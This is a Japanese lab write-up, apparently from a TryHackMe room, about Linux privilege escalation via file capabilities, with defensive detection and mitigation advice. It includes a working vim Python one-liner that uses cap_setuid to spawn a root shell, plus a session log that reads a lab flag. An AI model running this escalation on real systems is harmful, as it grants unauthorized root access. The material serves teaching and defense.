はじめに
Linux の Capabilities は「最小権限で必要な機能だけ与える」仕組みだが、設定次第ではローカルユーザーが簡単に管理者権限を奪える。調査手順(列挙 → 利用可能なバイナリ確認 → 権限昇格実行)と、検出・緩和の具体策を実例付きでまとめます。
1. 概要
Unix 標準の権限モデルは「root = 全能」だが、Capabilities はその全能を細分化して、バイナリに個別の能力(例えばネットワーク操作やUIDの書換)を付与できる仕組みです。管理者は SUID を使わずに必要な機能だけ渡せるため便利。ただし、誤設定や不用意なバイナリ配置があると、攻撃者にとって強力な昇格経路になります。
2. 代表的な Capability
-
cap_setuid— ユーザーID を変更できる(root に切り替え可能になる) -
cap_net_raw— 生パケットの送受信(スニッフィングや特権なトレース) -
cap_net_bind_service— 1024 未満のポートにバインド可能 -
cap_net_admin— ネットワーク設定の変更など高レベル操作
(末尾の「+ep」などは Effective/Permitted フラグを示す)
3. 列挙(攻撃者視点) — まず探すコマンド
エラー出力が多いので 2>/dev/null 付きで実行します。
# ファイルシステム全体から capabilities を持つバイナリを探す
getcap -r / 2>/dev/null
# SUID ビットが付いたファイル(古典的な昇格ベクタ)
find / -type f -perm -04000 -ls 2>/dev/null
出力例(要点のみ)
/usr/bin/ping = cap_net_raw+ep
/home/karen/vim = cap_setuid+ep
/home/ubuntu/view = cap_setuid+ep
ポイント:Capabilities は SUID 探索では見つからないケースがあるため、
getcapによる走査は必須。
4. 実例:Capabilities を使った昇格フロー(安全な実演)
-
getcapでcap_setuidを持つバイナリ/home/karen/vimを発見。 - GTFObins の該当ページを調べ(
vimの Python 経由例など)実行。 - バイナリを直接実行して root シェル取得。
実行例(攻撃者コマンド・手順)
# ユーザー: karen
$ id
uid=1001(karen) gid=1001(karen) groups=1001(karen)
# vim が cap_setuid を持っている場合、内部で UID を 0 にして /bin/sh を起動させられる
$ ./vim -c ':py3 import os; os.setuid(0); os.execl("/bin/sh","sh","-c","reset; exec sh")'
# 成功後
# id
uid=0(root) gid=1001(karen) groups=1001(karen)
また view といった別バイナリ(/home/ubuntu/view)も cap_setuid を持っていれば同様に利用可能です。実際の演習では、これらのバイナリを使って /home/ubuntu/flag4.txt の中身 THM-9349843 を読み取ることができました(例:cat /home/ubuntu/flag4.txt)。
5. どのバイナリが危険か判断するコツ
- インタラクティブ言語バインディングを持つもの(Python 組み込み、perl、lua 等) → 任意コード実行に直結しやすい。
- ファイル操作・実行権限があるもの → root 権限で任意コマンドを実行できる。
- 外部入力を処理するもの(ネットワークツール等) → 脆弱性と組み合わせると危険度が増す。
リスト化して優先順位をつけ、調査すると効率的です。
6. 探索・攻撃シナリオ(チェックリスト)
-
getcap -r /の結果を全て確認。 - 出てきた各バイナリを
ls -lで所有者・パーミッションを確認。 - バイナリが持つ機能(cap の種類)に応じて GTFObins 等で“どう実行すれば root になるか”を調べる。
- 実行前には実行可能パスや同名バイナリ(例:
/home/karen/vim)が root 所有かを確認する。ユーザーが自分で置いたバイナリの場合、攻撃者はそこを利用してしまう。
7. 検出方法(Defensive)
監査・検出は攻撃抑止の要です。
a. 定期スキャン
getcap -r / を定期ジョブで実行して変化を検出(差分監視)。
例:毎朝の cron で結果をハッシュ化して保存 → 変化があるとアラート。
b. ファイルシステム監視
auditd やファイル整合性チェック(AIDE/OSSEC)で /home/* に置かれた実行可能ファイルの追加・権限変更を監視。
c. ログ監視
不審な sudo や root シェルの生成に関するログ(/var/log/auth.log 等)を SIEM に流し、しきい値ベースでアラート。
8. 緩和策
-
不要な capability を剥奪
- 既に必要でないバイナリからは capability を削除する。
sudo setcap -r /path/to/binary -
信頼できない場所に実行ファイルを置かせない
- /home 以下に root 所有で実行可能なファイルが置けないようなポリシー(マウントオプションや権限)を設定。
-
最小権限の再検討
- なぜそのバイナリに capability が必要なのか理由をドキュメント化。定期的にレビュ—を行う。
-
コンテナ・サンドボックス化
- 外部のツールや未検証バイナリは隔離された環境で実行する。
-
パッケージソースの厳格化
- 標準パッケージ以外は署名/承認を必須にする。
9. メタポイント:Capabilities と SUID の違い
- SUID:実行時にプロセスの実効 UID が root に変わる(広範囲な権限)
- Capabilities:必要最小の権限だけを与える(理想は安全)
しかし現実には「どの機能が危険か」を判断するのは難しく、誤設定は SUID と同等レベルに危険になり得ます。
まとめ
- 即やること(短期)
-
getcap -r / 2>/dev/nullを実行し、結果をチームに共有。不要な capability をsetcap -rで削除。 -
/homeに置かれた実行ファイルを確認し、root 所有でない実行可能ファイルの規則を作る。
-
- 中期(週/月単位)
- FIM(AIDE 等)・auditd を導入して変化を検知。SIEM にアラートを整備。
- 長期(改善)
- デプロイ/パッケージ管理の強化、脆弱性管理体制の整備、定期権限レビュ—を制度化。
付録:コマンド一覧(重要なもの)
# capabilities の列挙
getcap -r / 2>/dev/null
# 特定ファイルの capability
getcap /path/to/file
# capability 削除
sudo setcap -r /path/to/file
# SUID ファイル一覧
find / -type f -perm -04000 -ls 2>/dev/null
# ファイルの所有権・パーミッション確認
ls -l /home/karen/vim
Log
$ getcap -r / 2>/dev/null
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/bin/ping = cap_net_raw+ep
/home/karen/vim = cap_setuid+ep
/home/ubuntu/view = cap_setuid+ep
$ ls -l /usr/bin/vim
lrwxrwxrwx 1 root root 21 Oct 26 2020 /usr/bin/vim -> /etc/alternatives/vim
$ ls -l /home/karen/vim
-rwxr-xr-x 1 root root 2906824 Jun 18 2021 /home/karen/vim
$ id
uid=1001(karen) gid=1001(karen) groups=1001(karen)
$./vim -c ':py3 import os;os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
$ find / -name flag4.txt 2>/dev/null
/home/ubuntu/flag4.txt
$ ls -la /home/ubuntu/flag4.txt
-rw-r--r-- 1 root root 12 Jun 18 2021 /home/ubuntu/flag4.txt
$./vim -c ':py3 import os;os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
# cat /home/ubuntu/flag4.txt
THM-9349843
#